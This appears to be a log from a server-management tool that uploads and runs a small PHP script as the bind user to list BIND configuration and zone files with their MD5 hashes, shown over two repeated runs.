MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 14:45:03: Establishing a connection
2026-04-30 14:45:03: 

PUT: /tmp/pkp103276

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:45:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp103276; rm /tmp/pkp103276'

2026-04-30 14:45:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 14:45:05: Establishing a connection
2026-04-30 14:45:05: 

PUT: /tmp/pkp816428

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:45:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp816428; rm /tmp/pkp816428'

2026-04-30 14:45:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
